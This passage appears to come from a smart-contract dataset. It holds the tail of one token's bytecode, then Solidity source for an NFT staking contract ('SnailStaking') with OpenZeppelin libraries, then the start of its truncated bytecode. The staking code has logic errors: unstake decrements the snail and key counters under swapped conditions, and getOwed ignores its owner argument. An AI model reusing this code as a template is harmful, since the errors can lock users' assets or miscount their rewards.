1296f84828501612893565b91505092915050565b6000806040838503121561298b57600080fd5b60006129998582860161287e565b92505060206129aa8582860161287e565b9150509250929050565b6000806000606084860312156129c957600080fd5b60006129d78682870161287e565b93505060206129e88682870161287e565b92505060406129f9868287016128fc565b9150509250925092565b60008060408385031215612a1657600080fd5b6000612a248582860161287e565b9250506020612a35858286016128fc565b9150509250929050565b600060208284031215612a5157600080fd5b600082013567ffffffffffffffff811115612a6b57600080fd5b612a77848285016128a8565b91505092915050565b600060208284031215612a9257600080fd5b6000612aa0848285016128d2565b91505092915050565b600060208284031215612abb57600080fd5b6000612ac9848285016128e7565b91505092915050565b600060208284031215612ae457600080fd5b6000612af2848285016128fc565b91505092915050565b600080600060608486031215612b1057600080fd5b6000612b1e86828701612911565b9350506020612b2f86828701612911565b9250506040612b4086828701612911565b9150509250925092565b6000612b568383612b62565b60208301905092915050565b612b6b81613310565b82525050565b612b7a81613310565b82525050565b6000612b8b826131b6565b612b9581856131d9565b9350612ba0836131a6565b8060005b83811015612bd1578151612bb88882612b4a565b9750612bc3836131cc565b925050600181019050612ba4565b5085935050505092915050565b612be781613322565b82525050565b612bf681613365565b82525050565b6000612c07826131c1565b612c1181856131ea565b9350612c21818560208601613377565b612c2a816134b1565b840191505092915050565b6000612c426023836131ea565b9150612c4d826134c2565b604082019050919050565b6000612c65602a836131ea565b9150612c7082613511565b604082019050919050565b6000612c886022836131ea565b9150612c9382613560565b604082019050919050565b6000612cab601b836131ea565b9150612cb6826135af565b602082019050919050565b6000612cce601b836131ea565b9150612cd9826135d8565b602082019050919050565b6000612cf1601d836131ea565b9150612cfc82613601565b602082019050919050565b6000612d146021836131ea565b9150612d1f8261362a565b604082019050919050565b6000612d376020836131ea565b9150612d4282613679565b602082019050919050565b6000612d5a6029836131ea565b9150612d65826136a2565b604082019050919050565b6000612d7d6025836131ea565b9150612d88826136f1565b604082019050919050565b6000612da06024836131ea565b9150612dab82613740565b604082019050919050565b6000612dc3601a836131ea565b9150612dce8261378f565b602082019050919050565b6000612de66011836131ea565b9150612df1826137b8565b602082019050919050565b612e058161334e565b82525050565b612e1481613358565b82525050565b6000602082019050612e2f6000830184612b71565b92915050565b6000604082019050612e4a6000830185612b71565b612e576020830184612b71565b9392505050565b6000604082019050612e736000830185612b71565b612e806020830184612dfc565b9392505050565b600060c082019050612e9c6000830189612b71565b612ea96020830188612dfc565b612eb66040830187612bed565b612ec36060830186612bed565b612ed06080830185612b71565b612edd60a0830184612dfc565b979650505050505050565b6000602082019050612efd6000830184612bde565b92915050565b60006020820190508181036000830152612f1d8184612bfc565b905092915050565b60006020820190508181036000830152612f3e81612c35565b9050919050565b60006020820190508181036000830152612f5e81612c58565b9050919050565b60006020820190508181036000830152612f7e81612c7b565b9050919050565b60006020820190508181036000830152612f9e81612c9e565b9050919050565b60006020820190508181036000830152612fbe81612cc1565b9050919050565b60006020820190508181036000830152612fde81612ce4565b9050919050565b60006020820190508181036000830152612ffe81612d07565b9050919050565b6000602082019050818103600083015261301e81612d2a565b9050919050565b6000602082019050818103600083015261303e81612d4d565b9050919050565b6000602082019050818103600083015261305e81612d70565b9050919050565b6000602082019050818103600083015261307e81612d93565b9050919050565b6000602082019050818103600083015261309e81612db6565b9050919050565b600060208201905081810360008301526130be81612dd9565b9050919050565b60006020820190506130da6000830184612dfc565b92915050565b600060a0820190506130f56000830188612dfc565b6131026020830187612bed565b81810360408301526131148186612b80565b90506131236060830185612b71565b6131306080830184612dfc565b9695505050505050565b600060208201905061314f6000830184612e0b565b92915050565b600061315f613170565b905061316b82826133aa565b919050565b6000604051905090565b600067ffffffffffffffff82111561319557613194613482565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006132068261334e565b91506132118361334e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561324657613245613424565b5b828201905092915050565b600061325c8261334e565b91506132678361334e565b92508261327757613276613453565b5b828204905092915050565b600061328d8261334e565b91506132988361334e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132d1576132d0613424565b5b828202905092915050565b60006132e78261334e565b91506132f28361334e565b92508282101561330557613304613424565b5b828203905092915050565b600061331b8261332e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006133708261334e565b9050919050565b60005b8381101561339557808201518184015260208101905061337a565b838111156133a4576000848401525b50505050565b6133b3826134b1565b810181811067ffffffffffffffff821117156133d2576133d1613482565b5b80604052505050565b60006133e68261334e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561341957613418613424565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137ea81613310565b81146137f557600080fd5b50565b61380181613322565b811461380c57600080fd5b50565b6138188161334e565b811461382357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f795130114d36d3adddc0547ef176b727cbc201719a9ac5a70c6d5b41699523064736f6c63430008040033
[ 13, 5, 11 ]
0xf2ab23fc41e29c471740c64898717ba7b8cbec05
pragma solidity 0.8.10; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "./interfaces/IUpload.sol"; contract SnailStaking is Initializable, OwnableUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable { IERC721Upgradeable public snails; IERC721Upgradeable public keys; IUpload public upload; uint256 public period; uint256 public rate; mapping(uint256 => address) snailsStaked; mapping(uint256 => address) keysStaked; mapping(address => uint256) snailsStakedCount; mapping(address => uint256) keysStakedCount; mapping(address => uint256) lastClaim; mapping(address => uint256) balance; event StakedSnail(uint256 id, address owner); event UnstakedSnail(uint256 id, address owner); event StakedKey(uint256 id, address owner); event UnstakedKey(uint256 id, address owner); function initialize() public initializer { __Ownable_init(); __Pausable_init_unchained(); __ReentrancyGuard_init(); _pause(); period = 1 days; rate = 1000; } function claim() external nonReentrant _updateReward whenNotPaused { uint256 owed = balance[_msgSender()]; balance[_msgSender()] = 0; upload.mint(_msgSender(), owed); } function proRata(uint256 uploads, uint256 keysCount) public view returns (uint256) { uint256 scaled = (uploads * keysCount * 1e18) / 5; return uploads + (scaled / 1e18); } function unstake(uint256[] memory snailIds, uint256[] memory keyIds) external nonReentrant _updateReward whenNotPaused { uint256 snailsCount = snailIds.length; uint256 keysCount = keyIds.length; if(snailsCount > 0) keysStakedCount[_msgSender()] -= keysCount; if(keysCount > 0) snailsStakedCount[_msgSender()] -= snailsCount; for(uint256 i; i < keysCount; i ++) { uint256 key = keyIds[i]; require(keysStaked[key] == msg.sender, "Must own"); delete keysStaked[key]; keys.safeTransferFrom(address(this), msg.sender, key); emit UnstakedKey(key, _msgSender()); } for(uint256 i; i < snailsCount; i ++ ) { uint256 snail = snailIds[i]; require(snailsStaked[snail] == msg.sender, "Must own"); delete snailsStaked[snail]; snails.safeTransferFrom(address(this), msg.sender, snail); emit UnstakedSnail(snail, _msgSender()); } uint256 owed = balance[_msgSender()]; balance[_msgSender()] = 0; upload.mint(_msgSender(), owed); } function stake(uint256[] memory snailIds, uint256[] memory keyIds) external nonReentrant _updateReward whenNotPaused { uint256 snailsIdsLength = snailIds.length; uint256 keyIdsLength = keyIds.length; require(snailsStakedCount[_msgSender()] + snailsIdsLength <= 10, "Max staked"); require(keysStakedCount[_msgSender()] + keyIdsLength <= 5, "Max staked"); for(uint256 i; i < snailsIdsLength; i ++) { uint256 snail = snailIds[i]; snailsStaked[snail] = _msgSender(); snails.transferFrom(_msgSender(), address(this), snail); emit StakedSnail(snail, _msgSender()); } snailsStakedCount[_msgSender()] += snailsIdsLength; for(uint256 i; i < keyIdsLength; i ++) { uint256 key = keyIds[i]; keysStaked[key] = _msgSender(); keys.transferFrom(_msgSender(), address(this), key); emit StakedKey(key, _msgSender()); } keysStakedCount[_msgSender()] += keyIdsLength; } function getTimestamp() public view virtual returns (uint256) { return block.timestamp; } modifier _updateReward() { uint256 owed = getOwed(_msgSender()); balance[_msgSender()] += owed; lastClaim[_msgSender()] = getTimestamp(); _; } function getStakedKeys(address _owner) public view returns (uint256) { return keysStakedCount[_owner]; } function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } function setKeys(IERC721Upgradeable _keys) external onlyOwner { keys = _keys; } function setSnails(IERC721Upgradeable _snails) external onlyOwner { snails = _snails; } function setUpload(IUpload _upload) external onlyOwner { upload = _upload; } function setRate(uint256 _rate) external onlyOwner { rate = _rate; } function setPeriod(uint256 _period) external onlyOwner { period = _period; } function getAccrued(address owner) public view returns (uint256) { uint256 accrued = ((getTimestamp() - lastClaim[owner]) * 1e18 / period) * rate; return accrued; } function getOwed(address owner) public view returns (uint256) { uint256 _snails = snailsStakedCount[_msgSender()]; uint256 _keys = keysStakedCount[_msgSender()]; uint256 accrued = getAccrued(_msgSender()); return _snails * proRata( accrued, _keys ); } function getBalance(address owner) public view returns (uint256) { return balance[owner]; } function getSnailsStaked(address owner ) public view returns (uint256) { return snailsStakedCount[owner]; } function getKeysStaked(address owner) public view returns (uint256) { return keysStakedCount[owner]; } function getLastClaim(address owner) public view returns (uint256) { return lastClaim[owner]; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } pragma solidity 0.8.10; interface IUpload { function mint(address, uint256) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; }
0x608060405234801561001057600080fd5b50600436106101cf5760003560e01c8063715018a6116101045780639869e137116100a2578063ef78d4fd11610071578063ef78d4fd146103a8578063f2fde38b146103b1578063f634df3c146103c4578063f8b2cb4f146103ed57600080fd5b80639869e1371461035c578063b1adb0831461036f578063e683ad4414610382578063e6a849391461039557600080fd5b80638456cb59116100de5780638456cb591461031a5780638778f415146103225780638966cded146102f15780638da5cb5b1461034b57600080fd5b8063715018a6146102e15780638129fc1c146102e9578063844b630f146102f157600080fd5b806334fcf43711610171578063469a8efa1161014b578063469a8efa1461029d5780634e71d92d146102b05780635c975abb146102b857806370c0b647146102ce57600080fd5b806334fcf4371461026f5780633f4ba83a146102825780633f749da51461028a57600080fd5b80631cbdc462116101ad5780631cbdc462146102155780632b82a2a9146102285780632c4e722e1461023b578063307540f61461024457600080fd5b806309707ea5146101d45780630f3a9f65146101fa578063188ec3561461020f575b600080fd5b6101e76101e23660046113a8565b610416565b6040519081526020015b60405180910390f35b61020d6102083660046113ca565b610467565b005b426101e7565b61020d6102233660046113f8565b61049f565b61020d6102363660046113f8565b6104eb565b6101e760cd5481565b60ca54610257906001600160a01b031681565b6040516001600160a01b0390911681526020016101f1565b61020d61027d3660046113ca565b610537565b61020d610566565b60cb54610257906001600160a01b031681565b61020d6102ab3660046113f8565b61059a565b61020d6105e6565b60655460ff1660405190151581526020016101f1565b6101e76102dc3660046113f8565b6106fe565b61020d610748565b61020d61077c565b6101e76102ff3660046113f8565b6001600160a01b0316600090815260d1602052604090205490565b61020d610862565b6101e76103303660046113f8565b6001600160a01b0316600090815260d2602052604090205490565b6033546001600160a01b0316610257565b6101e761036a3660046113f8565b610894565b61020d61037d3660046114c6565b6108f0565b61020d6103903660046114c6565b610d26565b60c954610257906001600160a01b031681565b6101e760cc5481565b61020d6103bf3660046113f8565b6110e4565b6101e76103d23660046113f8565b6001600160a01b0316600090815260d0602052604090205490565b6101e76103fb3660046113f8565b6001600160a